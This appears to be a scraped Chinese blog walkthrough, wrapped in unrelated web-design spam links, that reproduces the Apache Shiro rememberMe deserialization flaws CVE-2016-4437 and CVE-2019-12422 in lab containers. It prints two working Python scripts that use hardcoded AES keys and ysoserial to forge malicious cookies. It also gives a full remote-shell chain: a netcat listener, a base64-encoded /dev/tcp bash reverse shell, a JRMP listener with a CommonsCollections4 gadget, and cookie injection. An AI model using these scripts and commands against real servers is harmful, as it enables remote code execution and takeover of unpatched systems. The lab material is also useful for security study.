当前位置: 首页 > news >正文

北京网站制作定制网站建设倒计时代码

北京网站制作定制,网站建设倒计时代码,东莞市专注网站建设品牌,用vps做网站的流程文章目录 一、反序列化概念1.什么是序列化#xff1f;2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 … 文章目录 一、反序列化概念1.什么是序列化2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 4)Shiro漏洞验证方法5)漏洞利用 四、CVE-2019-12422漏洞复现(实验)1.搭建环境2.检测是否为shiro框架3.制作payload路径下获得了一个payload.cookie4.漏洞验证5.漏洞利用(反弹shell)① VPS监听端口② 构造shell命令③ 开启JRMP服务④ 构造payload⑤ 前台登录⑥ 追加cookie 一、反序列化概念 1.什么是序列化 序列化就是把对象转换成字节流便于保存在内存、文件、数据库中,保证对象的完整性 和可传递性 反序列化即逆过程由字节流还原成对象。根据字节流中保存的对象状态及描述信息 通过反序列化重建对象。 2.序列化出现场景 ●远程和进程间通信RPC/IPC ●连线协议、Web服务、消息代理 ●缓存/持久性存储区 ●数据库、缓存服务器、文件系统 ●HTTP cookie、HTML表单参数、API身份验证令牌 二、Apache Shiro 1.2.4反序列化漏洞 1.定义 Apache Shiro是一个强大且易用的Java安全框架执行身份验证、授权、密码和会话管 理。使用Shiro的易于理解的API可以快速、轻松地获得任何应用程序,从最小的移动应 用程序到最大的网络和企业应用程序。 漏洞影响版本 Apache Shiro 1.2.4 2.Shiro反序列化漏洞原理 AES加密的密钥Key被硬编码在代码里Shiro是开源软件意味着每个人通过源代码 都能拿到AES加密的密钥。因此攻击者构造一个恶意的对象并且对其序列化 AES加密base64编码后作为cookie的rememberMe字段发送。Shiro将 rememberMe进行解密并且反序列化最终造成反序列化漏洞。 在服务端接收cookie值时按照如下步骤来解析处理 检索RememberMe cookie 的值 Base 64解码 使用AES解密(加密密钥硬编码) 进行反序列化操作生成用户登录信息对象未作过滤处理 在调用反序列化时未进行任何过滤导致可以触发远程代码执行漏洞。 3.漏洞特征 shiro反序列化的特征 返回包中存在 rememberMedeleteMe 字段 三、CVE-2016-4437漏洞复现(实验) 1.搭建环境 使用vulhub进行环境搭建cd shiro/CVE-2016-4437 执行docker-compose up -d启动漏洞环境 访问8080 2.漏洞特征验证 1)未登陆验证 使用BP抓包未登陆的情况下请求包的cookie中没有rememberMe字段返回包set-Cookie里也没有deleteMe字段 2)登陆失败验证 登陆失败的话不管勾不勾选RememberMe字段返回包中都会有rememberMedeleteMe字段 3)登陆成功验证 使用正确账号admin:vulhub进行登录 ① 不勾选 不勾选RememberMe字段登陆成功的话返回包set-Cookie会有 rememberMedeleteMe字段。 但是之后的所有请求中Cookie都不会有rememberMe ② 勾选 勾选RememberMe字段登陆成功的话返回包set-Cookie会有 rememberMedeleteMe字段还会有rememberMe字段的所有请求 之后中Cookie都会有rememberMe字段 4)Shiro漏洞验证方法 如何判断网站是否使用shiro 找到网站登录的地方 随便输入账号密码抓包一定要输入点击登录看返回包是否有remembeMe字段如我们直接访问登录的页面不进行登录此时返回的数据包是没有remember字段的 如果没有remembeMe 还可以尝试在请求包中的cookie中加入 rememberMe1 来查看返回包是否有rememberMedeleteMe字段。如果cookie字段有值则先清空这时我们手动加上一个cookie:rememberMe1注意cookie要放在Upgrade的上面则返回了remember字段。说明使用了shiro框架可能存在shiro反序列化漏洞 5)漏洞利用 手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进 行漏洞利用这里漏洞检测和利用的方式有两种 第一种是使用jar工具进行验证。 第二种方式是使用python脚本进行验证。 使用jar工具检测是否存在shiro漏洞执行命令 反弹shell 四、CVE-2019-12422漏洞复现(实验) 1.搭建环境 获取docker镜像docker pull medicean/vulapps:s_shiro_1 启动docker镜像docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1 点击account_page 2.检测是否为shiro框架 开启bp抓包发现返回包存在Set-Cookie 中存在 rememberMedeleteMe 字段 3.制作payload dnslog申请一个临时域名 shiro.py内容如下 import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, URLDNS, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key kPHbIxk5D2deZiIxcaaaA#key Z3VucwAAAAAAAAAAAAAAAA#key wGiHplamyXlVB11UXWol8gmode AES.MODE_CBCiv uuid.uuid4().bytesencryptor AES.new(base64.b64decode(key), mode, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) with open(payload.cookie, w) as fpw:print(rememberMe{0}.format(payload.decode()),filefpw)使用shiro.py 脚本生成检测payload(dns解析) 例如python shiro.py “http://4xakbz.dnslog.cn” 需安装crypto 路径下获得了一个payload.cookie 4.漏洞验证 把刚刚生成的payload.cookie粘贴到包里burp发包查看dnslog是否存在dns解析记录 dnslog出现回显说明存在漏洞 5.漏洞利用(反弹shell) ① VPS监听端口 nc -lvvp 10808 ② 构造shell命令 构造反弹shell命令并且进行base64编码 /bin/bash -i /dev/tcp/192.168.155.2/10808 01 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ ③ 开启JRMP服务 在VPS开启一个JRMP(端口设置1099) java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ}|{base64,-d}|{bash,-i}” ④ 构造payload 使用s.py构造payload使存在shiro反序列化的服务器 python3 s.py 192.168.155.2:1099攻击者监听的端口 s.py内容如下 import sys import uuid import base64 import subprocess from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, JRMPClient, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(kPHbIxk5D2deZiIxcaaaA)iv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) print(rememberMe{0}.format(payload.decode()))⑤ 前台登录 注意需要勾选Remember Me 截获数据包加入payload将payload发送服务器 ⑥ 追加cookie 将s.py生成的内容追加到cookie后面 反弹shell成功
http://www.hkea.cn/news/14277922/

相关文章:

  • 企业网站建设费用计入什么科目做优惠卷网站倒闭了多少钱
  • 昭通做网站网站后台怎么做水印图片
  • 哈尔滨高端模板建站如何去做电商平台
  • 做视频网站用什么开发衡阳退休职工做面膜网站
  • 国外做自动化网站网站建设自由容器是什么意思
  • 个人博客网站设计代码广州市从化区住房和建设局网站
  • 京东在线购物网站wordpress 获取菜单id
  • 国内免费视频素材无水印素材网站北京软件开发工作室
  • 厦门网站设计定制软件开发费用计入什么科目
  • 建站行业发展建设工程合同管理多少分及格
  • 进一步加强网站建设管理网站建设行业背景
  • 泰国金木棉做网站网站新手怎么开网店
  • 免费网站开发软件有哪些网站开发模版
  • 单页网站产品网站登录注册页面模板下载
  • 电动工具咋在网上做网站如何设计网站模板
  • 网站icp 备案查询如何进行市场推广
  • 阜阳企业网站建设wordpress网站排行榜
  • 农产品的网站建设方案以及范文qq推广文案怎么写
  • 企业网站推广按成交收费白杨seo博客
  • 亚马逊网站链接合肥官网seo服务
  • 橙色企业网站源码江小白网络营销方式
  • 建设监理工程师网站wordpress添加支付
  • 网站设计与制作优点网页游戏排行榜前十名超清画面
  • 企业网站建设营销优化方案用asp.net制作一个网站需要多久
  • 台州椒江区热销企业网站搭建搭建小程序的方式有几种
  • 网站建站需要什么营销型网站建设论坛
  • 网站制作报价单做地方网站论坛
  • 做钓鱼网站论坛腾讯微信公众号
  • 个人工作室网站怎么做营销推广计划书
  • 免费按模板制作微网站建设官网银行